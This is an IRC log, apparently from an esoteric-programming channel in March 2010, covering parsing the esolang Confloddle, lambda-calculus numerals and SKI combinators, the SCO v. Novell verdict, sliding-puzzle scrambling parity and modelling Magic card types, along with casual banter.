15:24:04 <ais523> at the moment, I'm reversing the input string then parsing the resulting forward-polish, but the resulting error messages are ridiculous
15:24:54 <oerjan> like forth?
15:25:30 <ais523> oerjan: or Confloddle, which is what I'm trying to implement atm
15:25:34 <ais523> Forth isn't really parsed
15:26:03 <oerjan> hm that does sound weird to do without a stack
15:26:04 <ais523> (incidentally, Confloddle can be cut down from 5 to 4 characters trivially; it turns out that you can deduce the location of every < in the program even if it's not stated)
15:27:29 <oerjan> i suppose you'd like to detect stack underflows at the spot?
15:27:47 <ais523> (so I'm considering making the character set just re@: where @ is > and the location of the < is implied)
15:27:51 <ais523> oerjan: hmm, maybe
15:28:08 <ais523> both bottom-up parsers and LR(1) parsers don't have a problem with this sort of thing, although they both use stacks internally
15:30:07 <oerjan> yes this is a left-recursion problem isn't it
15:30:18 <ais523> yes
15:30:24 <ais523> the obvious way to write it in Parsec gives you an infinite loop
15:30:34 <ais523> I've been considering just writing a parser by hand
15:35:50 <oerjan> you can do the reversing while parsing instead of before at least, maybe that gives better messages?
15:36:05 <ais523> oerjan: how?
15:37:04 -!- FireFly has joined.
15:40:56 <oerjan> parseRest l = do (t <- token; let a = noArgs t; guard (length l >= a); parseRest (apply t (take a) l : drop a l)) <|> ...finished...
15:41:01 <oerjan> something like that
15:41:45 <ais523> hmm, that's confusing
15:42:12 <oerjan> you just pass in what's parsed so far, and apply to arguments immediately
15:42:42 <oerjan> *(reverse $ take a), probably
15:42:59 <oerjan> *(reverse $ take a l), probably
15:43:06 <oerjan> oh
15:43:32 <oerjan> that l should have been inside the parentheses to start with
15:44:04 <oerjan> it might be a good idea to split on whether t takes arguments or not
15:44:46 <oerjan> oh and noArgs is numberOfArgs, not absense
15:45:42 <oerjan> is it still confusing?
15:46:17 <ais523> I'm trying to figure out why you care about the number of args of the first token
15:46:49 <oerjan> ais523: it's not the first token, parseRest l is applied recursively to get each token
15:47:07 <oerjan> (well it's the first token too, called as parseRest [])
15:47:14 -!- Asztal has joined.
15:47:16 <ais523> oerjan: hmm, l is the list of tokens you've seen so far?
15:47:27 <ais523> I'm starting to see how that works now, but it's still really unintuitive to me
15:47:36 <oerjan> not just tokens, collected expressions
15:47:59 <ais523> ah
15:48:59 <oerjan> it essentially does a parsing using a stack, just inside parsec
15:49:35 <ais523> in which case you may as well write it by hand and make it clearer
15:50:13 <oerjan> yes, it's just to get parsec's error messages (and it's just a sketch)
15:51:22 <oerjan> that guard should be replaced with something with a proper underflow error message
15:52:03 <oerjan> "t applied to too few arguments" and i suppose parsec provides the position
15:52:24 <ais523> hmm, perhaps you could just use fail?
15:54:50 <oerjan> yes, that looks like the right thing for user-generated ones
15:56:55 -!- ais523 has quit (Remote host closed the connection).
16:03:24 -!- Tritonio_GR has quit (Quit: Leaving.).
16:13:06 -!- cheater2 has joined.
16:14:40 -!- cheater3 has quit (Ping timeout: 245 seconds).
16:18:16 -!- MizardX has joined.
16:29:16 -!- lereah_ has quit (Remote host closed the connection).
17:08:56 -!- ais523 has joined.
17:10:10 -!- tombom has joined.
17:20:55 -!- oerjan has quit (Quit: leaving).
17:57:37 -!- augur has quit (Ping timeout: 240 seconds).
18:08:25 -!- charlls has joined.
18:27:36 -!- augur has joined.
18:31:57 -!- hiato has joined.
18:51:31 -!- ehirdiphone has joined.
18:51:47 <ehirdiphone> What?!
18:52:00 <ehirdiphone> Dispatch? No; only half so.
18:52:55 <Sgeo> Hi ehirdiphone
18:53:19 <ehirdiphone> It is hardly dramatic with so few around.
18:53:19 <Sgeo> What do you mean by half a dispatch?
18:53:48 <ehirdiphone> I am merely an illusion.
18:53:58 <Sgeo> ??
18:54:05 <ehirdiphone> An iPhone, used covertly, smuggled in.
18:54:43 <Sgeo> o.O
18:54:44 <ehirdiphone> But impermanent as are all such things; I'm not of the sort required to keep such a thing hidden.
18:54:58 <Sgeo> Be careful :/
18:55:17 <ehirdiphone> The iPhone encorages verbosity... It is easier than a multitude of error correction.
18:55:32 <ehirdiphone> Oh, no worries.
18:56:08 <ehirdiphone> If anyone asks it is my company's: and I am using it to play games.
18:56:46 -!- ehirdiphone has quit (Quit: Get Colloquy for iPhone! http://mobile.colloquy.info).
18:57:09 -!- ehirdiphone has joined.
18:57:11 <ehirdiphone> Oops.
18:57:29 <ais523> ehirdiphone: turns out you can remove < from confloddle
18:57:35 <ais523> as the location of the < is implied by the location of the >
18:57:36 <pikhq> Hail, ehird.
18:57:39 <Sgeo> Oh, so that wasn't someone walking by? Although I guess if someone walked by, it would be easier to abruptly hide it than close out of IRC
18:58:11 <Sgeo> Link to Confloodle?
18:58:17 <Sgeo> I don't see it on the wiki
18:58:19 <ais523> there isn't one, check logs
18:58:21 <pikhq> I presume that you're not that well monitored at night?
18:58:43 <ais523> basically, it's a tarpit based on foldl and cons
19:01:00 <ehirdiphone> pikhq: It is approx 19.
19:01:28 <pikhq> ehirdiphone: Well: evening times.
19:01:53 <ehirdiphone> Actually for a while, at the start, they checked on me every five minutes through the night: apparently I was considered at risk of attempting suicide.
19:02:18 <ehirdiphone> Ridiculous: if I was of that disposition I'd have done it so much earlier.
19:02:42 <ehirdiphone> But yeah; my room is the one place I am mostly alone.
19:02:59 <pikhq> Or at least have been much more creative about it.
19:03:30 <ehirdiphone> Rubber chicken with a pully in the middle.
19:03:36 <pikhq> See?
19:04:11 <ehirdiphone> A reference to the Secret of Monkey Island, actually.
19:04:25 <ehirdiphone> brb.
19:08:44 <ais523> don't rubber chickens turn things to stone?
19:09:24 -!- ehirdiphone has quit (Ping timeout: 264 seconds).
19:15:52 -!- ehirdiphone has joined.
19:16:07 <ehirdiphone> Since brb said?
19:16:49 <Sgeo> <ais523> don't rubber chickens turn things to stone?
19:17:04 <ais523> Sgeo: NetHack reference
19:17:09 <Sgeo> ais523, I know
19:17:12 <Sgeo> <ehirdiphone> Since brb said?
19:17:51 <ais523> ah
19:18:05 * Sgeo dons gloves and throws a c at ais523
19:18:14 -!- ehirdiphone has quit (Client Quit).
19:18:18 * ais523 dodges, on the basis that c corpses have a 0% hit chance
19:18:27 <Sgeo> ..oh
19:18:37 -!- ehirdiphone has joined.
19:19:05 * Sgeo throws some c eggs at ais523
19:19:16 <ais523> Sgeo: are you wearing gloves?
19:19:22 <ais523> anyway, /me eats a lizard corpse
19:19:38 <Sgeo> I don't think lizard corpses help against instant petrification
19:19:39 <ais523> eggs cause slow stoning, not instastoning
19:19:43 <Sgeo> Just against his.. oh
19:25:11 <ehirdiphone> Oerjan:http://www.reddit.com/r/pics/comments/bk6s0/norwegian_life/c0n6q13
19:27:17 <ehirdiphone> Dyydydyufug
19:28:54 -!- ehirdiphone has quit (Quit: Get Colloquy for iPhone! http://mobile.colloquy.info).
19:29:13 -!- ehirdiphone has joined.
19:29:34 -!- adam_d_ has joined.
19:32:07 -!- adam_d has quit (Ping timeout: 246 seconds).
19:39:37 -!- oklofok has quit (Ping timeout: 240 seconds).
19:41:22 <ehirdiphone> ais523: So >
19:41:28 <ehirdiphone> Tome traveling syntax
19:41:31 <ehirdiphone> Time
19:41:47 <ais523> why do you need syntax for that?
19:45:54 * Sgeo loves how right-clicking can make explorer.exe crash
19:45:56 <Sgeo> *cries*
19:47:41 <ehirdiphone> ais523: Confluddle I mean
19:47:51 <ais523> confloddle has time travel?
19:48:06 <ehirdiphone> Fucckkkk
19:48:09 <ehirdiphone> >
19:48:10 <ehirdiphone> Is
19:48:14 <ehirdiphone> Time t syntx
19:48:18 * Sgeo should probably read the logs at some point
19:48:21 <ehirdiphone> Without opener
19:48:41 <ehirdiphone> Traveling not travel
19:48:41 <ais523> hmm, no, you can just dedcude the location of the opener
19:48:48 <ais523> by looking at arities going bacwards from the >
19:48:52 <ehirdiphone> Oh shaddup
19:50:07 <ais523> hmm, sorry
19:50:25 <ehirdiphone> :p
19:51:16 -!- charlesq__ has joined.
19:52:25 -!- charlls has quit (Read error: Connection reset by peer).
19:52:40 <ehirdiphone> You have...
19:52:46 <ehirdiphone> 0 minutes
19:53:53 <ehirdiphone> Goodbye but I this week will return ...Thursday!
19:54:15 <ehirdiphone> Can you live one more day without me? :)
19:54:23 <ais523> don't worry, we'll manage somehow
19:54:37 <ehirdiphone> Maybe two if I'm tired on Thurs.
19:55:09 <pikhq> Gx's l' r'v'd', m' 'm'k'.
19:55:13 * uorygl loves how refreshing can make Safari crash
19:55:19 <ehirdiphone> Formal goodbye time.
19:55:45 <ehirdiphone> --alise; in the land of Mordor where the Shadows lie.
19:55:54 <uorygl> co'o
19:55:55 <uorygl> ko cinsne
19:56:20 -!- ehirdiphone has quit (Quit: Get Colloquy for iPhone! http://mobile.colloquy.info).
19:56:36 <uorygl> pikhq: Esperapostropho?
19:56:43 <pikhq> uorygl: J's
19:56:52 <pikhq> Now let's talk about how we hate ehird and ought to flay him alive.
19:56:53 * uorygl nods.
19:57:15 <uorygl> Unfortunately, I don't know enough Esperanto to construct a meaningful response.
19:57:40 <uorygl> So let me just acknowledge that you said "jes", which means "yes".
19:58:23 <lament> esperaco
20:03:32 <pikhq> Indeed.
20:03:50 <pikhq> Also, a meaningful response would just be "Mi komprenas".
20:03:51 <pikhq> :P
20:04:25 <pikhq> Or perhaps even 'Mi komprenas ke "j's" estas "jes"'.
20:04:57 <pikhq> Alternately, you could just speak English, as such is the typical language for this room.
20:05:19 <lament> m' sh't's 'sp'r'nt'
20:05:25 <lament> translation: "my shits sprint"
20:06:39 <pikhq> Sナtqゐエpbヴ葉Sペりうじゃギアpcvkx偽PツQ件がspd
20:06:57 <pikhq> Translation: fuck if I know, I just hit Ctrl-Space and pounded on the keyboard for a bit.
20:12:12 -!- adam_d_ has changed nick to adam_d.
20:15:36 <Sgeo> So, he committed without a test build, and left an infinite loop somewhere in there
20:15:47 <Sgeo> I'm just going to shove it to the side while I try to make the deadline
20:15:55 <Sgeo> His code is not deadline related in any way
20:28:58 -!- oklopol has joined.
20:31:12 -!- charlesq__ has quit (Quit: Saliendo).
20:31:20 -!- charlls has joined.
20:34:04 -!- werdan7 has quit (Ping timeout: 615 seconds).
20:37:39 -!- MigoMipo has joined.
21:03:26 -!- hiato has quit (Ping timeout: 246 seconds).
21:04:02 -!- hiato has joined.
21:20:56 -!- adam_d has quit (Ping timeout: 246 seconds).
21:34:05 -!- Oranjer has joined.
21:43:55 <lament> this rihanna song seemed a lot nicer before i read the lyrics
21:49:20 -!- coppro has joined.
21:55:40 -!- atrapado has quit (Ping timeout: 276 seconds).
21:57:58 <Sgeo> lol
22:04:06 -!- cheater2 has quit (Ping timeout: 276 seconds).
22:05:19 -!- MigoMipo has quit (Remote host closed the connection).
22:05:22 -!- gigo has joined.
22:05:49 <gigo> I am using L for lambda. I represent 1 = Ls.s, 2 = Ls.ss, 3 = Ls.sss and so on. I want a way to express addition operation in lambda calculus.
22:06:02 <gigo> I mean, I want some function S such that 2S3 or S23 results in 5 = Ls.sssss
22:06:12 <gigo> i'm a complete newbie in lambda calculus. the book had some good definitions of successor, addition, etc. but I modified the definition of 1 from Lsz.s(z) to Ls.s and now I am trying to make my own successor, addition, etc.
22:07:12 -!- mblondin has joined.
22:07:18 <lament> isn't it just S?
22:07:23 -!- mblondin has left (?).
22:07:31 <lament> i mean isn't your S just the S from SKI
22:08:06 <lament> S23f = (2f)(3f) = (ff)(fff) = (fffff)
22:08:30 <gigo> what is SKI?
22:08:59 <lament> Sxyz = (xz)(yz)
22:10:52 <pikhq> gigo: SKI is the SKI combinator calculus. It's Turing complete by way of equivalence with lambda calculus.
22:11:23 <pikhq> It can be defined as follows: S:=\xyz.xz(yz);K:=\xy.x;I:=\x.x
22:11:25 <gigo> is there any way to do lambda calculus on computers?
22:11:32 <pikhq> Several.
22:11:45 <gigo> I use Debian Linux. any suggestions?
22:11:47 <pikhq> Are you familiar with functional programming languages?
22:11:54 <gigo> yes, I know Scheme.
22:12:05 <pikhq> Scheme is a superset of lambda calculus.
22:12:09 <gigo> ok
22:12:28 <pikhq> So, you already possess an interpreter. ;)
22:12:32 <gigo> ok
22:13:14 <ais523> (define s (lambda (x) (lambda (y) (lambda (z) ((x z) (y z)))))
22:20:42 <gigo> So, if S = \xyz.xz(yz) can I say that S23 = \z.(2z (3z)) = \z.( (\s.ss z)(\s.sss z) ) = \z.zzzzz = 5 ?
22:24:09 <ais523> the last-but-one step is wrong
22:24:16 <ais523> hmm, I think, not sure
22:24:19 <ais523> how are 2 and 3 defined?
22:27:15 <gigo> 2 = \s.ss and 3 = \s.sss
22:27:20 <gigo> ais523,
22:28:15 <ais523> yes?
22:30:47 <gigo> ais523, i answered your question about how 2 and 3 are defined
22:30:53 <ais523> yep, I noticed
22:30:57 <ais523> just didn't have anything more to say
22:31:09 <gigo> so, why is the last-but-one step wrong?
22:31:13 <ais523> I don't see how \z.(2z)(3z) = 5
22:31:35 -!- cheater2 has joined.
22:31:45 <gigo> 2z = \s.ss z = zz
22:31:54 <gigo> similarly, 3z = zzz
22:31:58 <ais523> yep, and (zz)(zzz) != (zzzzz)
22:32:04 <gigo> ok
22:32:28 -!- hiato has quit (Quit: underflow).
22:32:31 <ais523> the usual definition of 2, btw, is \f.\x.f(fx)
22:32:59 <gigo> and that of 3?
22:33:06 <ais523> \f.\x.f(f(fx))
22:33:20 <gigo> why do you write the inner most thing as fx and not f(x)
22:33:29 <gigo> how about 2 as \f.\x.f(f(x)) ?
22:33:37 <ais523> it's a standard abbreviation
22:33:40 <gigo> ok
22:34:17 <ais523> abc = (a(b))(c)
22:34:30 <ais523> and langs like haskell actually let you write that
22:34:36 <ais523> rather than having to put all the parens in
22:35:43 <gigo> so, abcd = ((a(b))(c))(d) ?
22:36:05 <ais523> yes
22:36:16 <gigo> can i wrte abc = (ab)c as well?
22:36:20 <ais523> and in a lang that uses currying, that's the standard way to pass three args to a function
22:36:25 <ais523> (ab)c is fine, if you want to disambiguate
22:36:27 <gigo> ok
22:36:36 <ais523> but with a(bc) you can't remove the parens
22:36:55 <gigo> so a(bc) = a((b)c)
22:37:09 <ais523> ok, that looks weird, but yes I suppose
22:37:22 <ais523> (b)c is less usual than b(c), and bc is more common than either when talking in combinator calculus
22:38:00 <ais523> the same trick happens with data types; Int -> Int -> Int means Int -> (Int -> Int)
22:40:53 <gigo> so for my definitions of 2, 3, etc. can I make a sum function S?
22:41:14 <gigo> 2 = \s.ss, 3 = \s.sss, 4 = \s.ssss, 5 = \s.sssss, etc.
22:42:27 -!- tombom has quit (Quit: Leaving).
22:43:10 -!- coppro has quit (Ping timeout: 246 seconds).
22:56:20 <Slereah> Numbers in lambda calculus are defined via 0 and the successor function
22:57:22 -!- coppro has joined.
22:57:30 -!- jcp has joined.
23:00:23 <ais523> hmm, that's the first rangeblock I've done on Esolang
23:00:29 <ais523> hopefully that should stop much of the recent untargeted spam
23:00:39 -!- augur has quit (Ping timeout: 276 seconds).
23:02:41 <ais523> goodbye 212.235.106.0/23
23:04:23 <ais523> also, jury finds for Novell in SCO v. Novell
23:04:40 <ais523> this is a momentous day, in that nobody can think of a plausible way for SCO to weasel its way out of /that/ one
23:04:51 <ais523> although I'm looking forward to what implausible ways they try
23:06:27 -!- augur has joined.
23:08:41 <coppro> it can still be appealed on procedural grounds
23:09:18 <coppro> but that seems unlikely to succeed
23:09:36 -!- oerjan has joined.
23:12:33 <ais523> yep, I can't think of a procedural ground where SCO would have a leg to stand on
23:12:47 <ais523> unless something happened that isn't generally known
23:15:34 <coppro> I wonder if they're stupid enough to try appealing the verdict directly
23:15:52 <ais523> so do I, actually
23:16:13 <ais523> they're running out of money pretty quickly, though
23:17:02 <coppro> well, yeah
23:17:16 <coppro> and it's not like appealing a jury verdict works that well in any case
23:18:40 <fizzie> Our "law in network society" course requires a two-page case note on some related case; I was thinking of writing something about the SCO mess, but it's such a great mess you can't even get started in two pages; I may need to focus on some particular submess of it.
23:19:18 -!- Tritonio_GR has joined.
23:19:58 <ais523> news from SCO is that they plan to sue IBM for breach of contract, because they can do that even without the copyrights
23:20:13 <ais523> that doesn't mean they can /win/, ofc
23:20:16 <oerjan> <lament> S23f = (2f)(3f) = (ff)(fff) = (fffff)
23:20:22 <oerjan> the final equation is wrong
23:21:09 <oerjan> application is not associative
23:25:02 <oerjan> <gigo> 2 = \s.ss, 3 = \s.sss, 4 = \s.ssss, 5 = \s.sssss, etc.
23:25:14 <oerjan> i can see how to increment those, but addition looks tricky
23:26:23 <oerjan> in fact to use it i would probably want to convert into the usual \fx.f(f(...(fx)...)) form first
23:26:57 <oerjan> if that is possible, then it's easy to do addition afterwards
23:28:07 -!- charlls has quit (Quit: Saliendo).
23:28:18 <oerjan> the tricky thing about your definition is that it is not obvious how to make an s that can be usefully used with an arbitrary number
23:28:35 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
23:28:39 -!- FireFly has quit (Quit: Leaving).
23:28:55 <ais523> also, how do you define 0?
23:29:18 <ais523> the usual definition \x.\y.y doesn't seem to map at all to the fffff version
23:29:41 <oerjan> \s.i probably works for that, actually
23:30:18 <oerjan> since (inc n) = \s.(ns)s
23:30:28 <oerjan> oh wait
23:30:31 <ais523> heh, that's the same definition as normal, isn't it?
23:30:33 <oerjan> \s.ki
23:31:07 <oerjan> (or in pure lambda, \s.\t.\x.x)
23:31:26 <ais523> hmm, `k`ki?
23:31:35 <oerjan> yeah
23:31:44 <oerjan> oh wait
23:31:45 <ais523> I was considering making that a constant in the underlambda standard library
23:31:50 <ais523> as an "absence of value" constant
23:31:50 * oerjan is confusing himself
23:31:56 <ais523> unlike `ki, which is just 0 which is a value
23:32:09 <oerjan> \s.i is correct
23:32:16 <oerjan> so \s.\x.x
23:32:47 <ais523> why are we using s as a lambda variable anyway?
23:32:49 <ais523> it has a different meaning
23:32:59 <oerjan> gigo did
23:33:09 -!- augur has quit (Ping timeout: 276 seconds).
23:33:17 <oerjan> and didn't seem to have heard of combinators before
23:34:07 <oerjan> hm
23:34:20 <oklopol> conspiracy
23:35:52 <oerjan> now an s to pass in usefully has to be appliable to itself, and somehow construct an "incremented" version of itself when doing so
23:36:42 <oerjan> and to be useful, there has to be something else that it can be applied to in order to stop the gobbling up of indefinite arguments
23:37:10 <oklopol> that's what i mean
23:37:58 <oerjan> oklopol: that's a lot to get out of the word "conspiracy"
23:39:06 <oklopol> or is it?
23:39:24 <oerjan> >_>
23:40:05 <oklopol> now you're getting it
23:44:11 -!- augur has joined.
23:45:11 <Sgeo> ROFL
23:45:32 <Sgeo> My sliding blocks puzzle has a bug where you can click a piece diagonally adjacent, and it will go in
23:46:47 <lament> too easy
23:50:23 <Sgeo> What's the easiest way to scramble a sliding blocks puzzle? Simulating random valid moves?
23:50:52 <ais523> Sgeo: yep, to ensure it's solvable
23:51:04 <ais523> IIRC there's a parity rule on those things
23:51:20 <Sgeo> I think the original 14-15 was unsolvable
23:51:25 <ais523> it was
23:51:57 <ais523> hmm, what if you turn the 6 and 9 upside-down?
23:52:09 * Sgeo feels cheap for having used a 1 indexed [multidimensional] array, but it turned out to be handy
23:52:29 <Sgeo> The individual blocks have MoveTo() methods, that null out where the block came from
23:52:39 <Sgeo> So when starting up, I just say they came from 0,0
23:53:10 <ais523> couldn't you use a dedicated null value?
23:53:13 <ais523> like Haskell's Nothing?
23:53:23 <ais523> rather than forcing an absurd use of 0 in?
23:53:37 <ais523> this is as bad as Underlambda's adding 1 to all character codes so it can use 0 for EOF
23:53:46 <ais523> and it's an esolang, and so can get away with that sort of thing
23:53:59 <Sgeo> I happened to be using 1-based indexing anyway, to ease pain on my brain
23:54:10 <Sgeo> Although it occurs to me that it wasn't that helpful
23:54:15 <fizzie> Speaking of blocks, to follow-up on llbf (LLVM-targeting brainfuck translator), I wrote a Piet compiler that targets LLVM too.
23:57:19 <Sgeo> Well, it did, a little
23:57:39 <Sgeo> In-world, in a way that would be difficult to change, there was already a 1-indexed numbering scheme
23:58:07 <Sgeo> But that would just turn into a -1 in ONE place in my code, if I went with 0-indexed
23:58:18 <Sgeo> I'm already switching x and y
2010-03-31
00:06:53 <Sgeo> Ok, this scrambler is resulting in way too easy results
00:07:56 <oerjan> i think sliding blocks puzzles are solvable iff the permutation is even
00:09:43 <Sgeo> For a 3x3, how many clicks should I be simulating?
00:10:27 <coppro> fizzie: You wrote a BF compiler targeting LLVM?
00:10:48 <coppro> ais523: You missed my wonderful idea for a null value
00:11:01 <ais523> coppro: what was it?
00:11:50 <fizzie> coppro: You can't really call it a compiler, it's so utterly trivial. It's pretty much like the usual straightforward bf -> C translation, except that it's to LLVM's assembler.
00:12:04 <coppro> fizzie: like the one in the LLVM examples?
00:12:07 <Sgeo> I'm starting to think it's a bug in the code rather than a not-so-helpful randomizer
00:12:26 <oerjan> Sgeo: do a total scrambling, like with knuth's algorithm, but count the number of swaps done and if it is odd, do an extra one. i think.
00:12:28 <coppro> ais523: A type system that takes intersection types up to the maximum, allowing a single value to actually have multiple types, each which is discrete and has its own data; a nullable Integer would then be a {Nil^Integer}; that is, a value of Integer or Nil type, but not both
00:12:46 <ais523> coppro: that's what Haskell does, with Maybe
00:12:58 <coppro> ais523: No, it's crazier than that
00:12:59 <oerjan> http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle
00:13:13 <ais523> well, it's a case of disjoint unions
00:13:18 <ais523> oerjan: it's not a case of swaps, IIRC
00:13:23 <ais523> it's a case of pairs that are out-of-order
00:13:30 <ais523> but I can't remember exactly how it works
00:13:40 <Sgeo> meh'
00:13:48 <fizzie> coppro: Oh, there's one there? I didn't know.
00:14:13 <coppro> fizzie: examples/BrainF in the main distrubution
00:14:20 <oerjan> ais523: um i assume those are just two equivalent ways of detecting whether a permutation is odd or even
00:14:41 <ais523> oerjan: no, because you can swap a number with a blank space without problems, sometimes
00:15:01 <coppro> ais523: the idea rose out of the fact that some structures are tough to represent accurately in code; do you know Magic: the Gathering?
00:15:08 <oerjan> ais523: erm i am assuming the blank space stays put here. i am talking about swaps of the other pieces.
00:15:33 <ais523> coppro: yes, I do; I even played it competitively for a while
00:15:33 <Sgeo> I think this is good enough. There is a bug stopping the randomizer from starting when the puzzle first starts
00:15:35 <fizzie> I'll have to sneak a peek when I don't have a cat obstructing the computer.
00:15:40 <ais523> but got bored when time spiral rotated out
00:16:46 <coppro> ais523: ah, good. Then you'll understand the thinking that led me to this. If you're representing a Magic card, not all information is applicable to all types of Magic card. For instance, only creatures have power and toughness, and only creatures have creature types, only lands have land types, and so on
00:17:08 <Sgeo> Ok, this is "too easy" territory
00:17:15 <ais523> coppro: that line's getting more and more blurred as time goes on, but I know what you mean
00:18:05 <coppro> ais523: Yeah, and that's the tricky bit. There are cards with multiple types, so a creature land should have both land types and creature types. It turns out this is really difficult to represent nicely in a programming language
00:18:36 <ais523> no, no it isn't
00:18:38 -!- Asztal has quit (Ping timeout: 260 seconds).
00:18:46 <coppro> how would you do it?
00:18:46 <ais523> object-oriented with mixins? Perl6-style, with roles?
00:18:55 <ais523> lua-style, and just use the fields you need?
00:19:08 -!- adu has joined.
00:19:14 <ais523> really, it's trivial in any sane OO system, except ones that specifically try to stop you, like Java's and Python's
00:19:34 <coppro> those provide interfaces, but not data
00:19:52 <ais523> coppro: those create classes; the data would be in an instantiation of those
00:20:04 <ais523> the class may or may not itself be an object, depending on the language
00:20:18 <ais523> (it wouldn't be in Perl6 or C++, it would be in Lua, JS and Feather)
00:20:25 <Sgeo> Stop you from doing what?
00:20:26 <coppro> yeah
00:20:37 <ais523> Sgeo: implementing mixins, etc
00:20:54 <Sgeo> Ruby has mixins >.>
00:20:55 <ais523> perl6/Moose has roles, C++ has multiple inheritance
00:21:17 <ais523> and there'll probably be some way to do that sort of thing in Feather, although single inheritance is easier there than multipl
00:21:20 <ais523> *multiple
00:21:23 <coppro> none of that does quite what I want, it's sort of hard to express
00:21:45 <ais523> coppro: it's powerful enough to represent a M:tG card, though, which is what you originally wanted
00:21:46 <coppro> the closest I can think of is C++'s virtual inheritance, but that's a horrible mess
00:22:04 <coppro> ais523: A C program is powerful enough; that doesn't make it easy
00:22:24 <ais523> coppro: powerful enough without massively distorting what you're doing, type-wise or code-wise
00:23:04 <coppro> ais523: For instance, in C++, you'd have to have a Creature type and a Land type virtually derived from Card, and then have a CreatureLand type derived from both; this is hideous
00:23:21 <ais523> coppro: C++ is generally hideous
00:23:27 <coppro> agreed
00:23:44 <ais523> in Perl6, you'd have a class Card, and an instance of it with Creature and Land roles applied
00:24:17 <coppro> Perl6's roles are closest to what I want, but not quite there yet
00:25:21 <coppro> since they exist apart from classes
00:25:41 <ais523> you can create classes with roles in too, if you want to
00:25:44 <Sgeo> The scramber seems to be unwilling to touch the bottom row
00:25:51 <Sgeo> That's probably why these results are too easyt
00:25:54 <coppro> yes, but you can't create something that is both a role and a class
00:25:59 <ais523> but then you wouldn't be able to write fun code like "my $file_not_found = true but False;"
00:27:26 <coppro> heh
00:28:23 <ais523> true but False is like true in every respect, except for being false
00:28:26 <ais523> hmm, you can do that in Feather too
00:28:55 <ais523> except that you'd have to decide whether the value itself was truth or falsity
00:32:10 <Sgeo> What happens if I swap two random pieces an even number of times?
00:32:10 <coppro> yeah, my imaginary system would have such similarities
00:33:11 <coppro> except that truthiness and falsehood would not be arole
00:33:31 <oerjan> Sgeo: should work
00:34:16 <Sgeo> Would it result in more difficult puzzles than simulating clicks n times seem to?
00:34:54 <oerjan> "The invariant is the parity of permutations of all 16 squares (15 pieces plus empty square) plus the parity of the taxicab distance moved by the empty square."
00:35:28 <oerjan> (should be the same for all sizes m*n with m,n>=2, by the rest of the section
00:35:31 <oerjan> )
00:35:39 * Sgeo is already lost
00:35:57 <oerjan> parity of permutations is whether you make an even or odd number of swaps
00:36:22 <oerjan> the parity of the taxicab distance is whether x+y is odd or even
00:36:50 <oerjan> "For the 15-puzzle, lengths of optimal solutions range from 0 to 80 moves; the 8-puzzle can be solved in 31 moves or fewer (integer sequence A087725)."
00:37:43 <coppro> ais523: Think of it as roles, except every class is a role, I think
00:37:45 <oerjan> so if you were doing it by clicks, you'd need at least on the order of 31 clicks to get full difficulty, i take
00:38:16 * Sgeo tries it
00:38:49 * Sgeo listens to the Elfen Lied theme "Lilium"
00:39:48 <Sgeo> 31 is too many for the application to process without being able to get events. Too long without aw_wait(), and it disconnects
00:40:08 <Sgeo> I _think_
00:40:34 <Sgeo> Well, I know that's the case that that can be an issue, but maybe something else is going on instead. Need to look up the error
00:40:46 <oerjan> well, do a fisher-yates shuffle then
00:41:07 <Sgeo> Oh, it's doing too many things at once
00:41:19 <Sgeo> I'll slow it down and see what happens
00:41:37 <Sgeo> Actually, it _still_ resulted in a too easy puzzle
00:41:59 <oerjan> maybe the 8-puzzle simply is too small to _be_ hard
00:42:24 <Sgeo> oerjan, hard for _me_ in particular
00:42:39 <Sgeo> It shouldn't be a trivial 3 or 4 clicks away
00:43:15 <oerjan> if you are doing random clicks, maybe most of them are forbidden moves?
00:43:20 <oerjan> so no effect
00:43:32 <Sgeo> No. It's set up to do only good moves
00:43:38 <Sgeo> Random good moves
00:43:46 -!- ais523 has quit (Remote host closed the connection).
00:43:53 <Sgeo> But there's currently nothing blocking it from clicking, then reversing what it just did
00:43:56 <Sgeo> Maybe I should try thatr
00:44:01 <oerjan> right
00:51:57 * Sgeo also gives it some breathing room
00:58:02 <Sgeo> The breathing room I gave it means you can actually watch the scrambling take place
00:58:05 * Sgeo needs to go soon
01:05:20 -!- Tritonio_GR has quit (Quit: Leaving.).
01:12:51 * Sgeo still gets occasional too-easy results
01:14:21 * Sgeo still needs to go soon, and has no time to think about it
01:15:28 <Sgeo> I still don't get how you'd use fisher-yates to scramble something like this. It's a 2-dimesonal list
01:16:17 <oerjan> um you don't know how to treat a 2-dimensional list as 1-dimensional for scrambling purposes?
01:16:44 <Sgeo> When you put it like that, I can figure it out >.>
01:17:47 <Sgeo> Actually, I have code that I think does that for normal lists
01:18:30 <oerjan> you need to keep track of the parity though
01:18:33 <Sgeo> Actually, not quite
01:18:55 <Sgeo> Yeah, how do I do that?
01:19:46 <oerjan> if you are not swapping the blank, then it's just a matter of noting whenever you swap two items
01:19:59 <oerjan> (the blank needs special treatment, apparently)
01:20:23 <Sgeo> g2g
01:37:19 -!- Oranjer has left (?).
01:42:27 -!- augur has quit (Ping timeout: 258 seconds).
02:09:34 -!- augur has joined.
03:39:49 <oerjan> freefall XD
03:44:11 <pikhq> XD
03:46:50 <Quadrescence> XD
04:26:20 -!- coppro has quit (Ping timeout: 245 seconds).
04:27:43 <pikhq> X and D
04:48:09 -!- oerjan has quit (Quit: Good night).
04:49:15 -!- coppro has joined.
04:56:48 <coppro> someone save me
04:56:52 <coppro> I'm reading /. comments
04:56:59 <coppro> on global warming
05:38:18 -!- MizardX has quit (Ping timeout: 260 seconds).
05:38:50 -!- augur has quit (Ping timeout: 245 seconds).
05:41:42 -!- gigo has quit (Ping timeout: 276 seconds).
05:43:28 -!- bsmntbombdood has joined.
06:19:00 -!- augur has joined.
06:27:15 -!- MigoMipo has joined.
06:29:59 -!- MigoMipo has quit (Remote host closed the connection).
07:06:20 -!- tombom has joined.
07:20:05 -!- FireFly has joined.
07:32:54 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:51:14 -!- tombom has quit (Quit: Leaving).
07:55:02 -!- cal153 has quit.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:03:12 -!- FireFly has quit (Remote host closed the connection).
09:01:49 -!- adu has quit (Quit: adu).
09:11:54 -!- adam_d has joined.
10:43:01 -!- adam_d has quit (Ping timeout: 264 seconds).
11:26:37 -!- ais523 has joined.
11:35:41 -!- oerjan has joined.
11:57:35 -!- oerjan has quit (Quit: Reboot).
11:59:06 -!- pineapple has quit (Read error: Operation timed out).
12:07:29 -!- Asztal has joined.
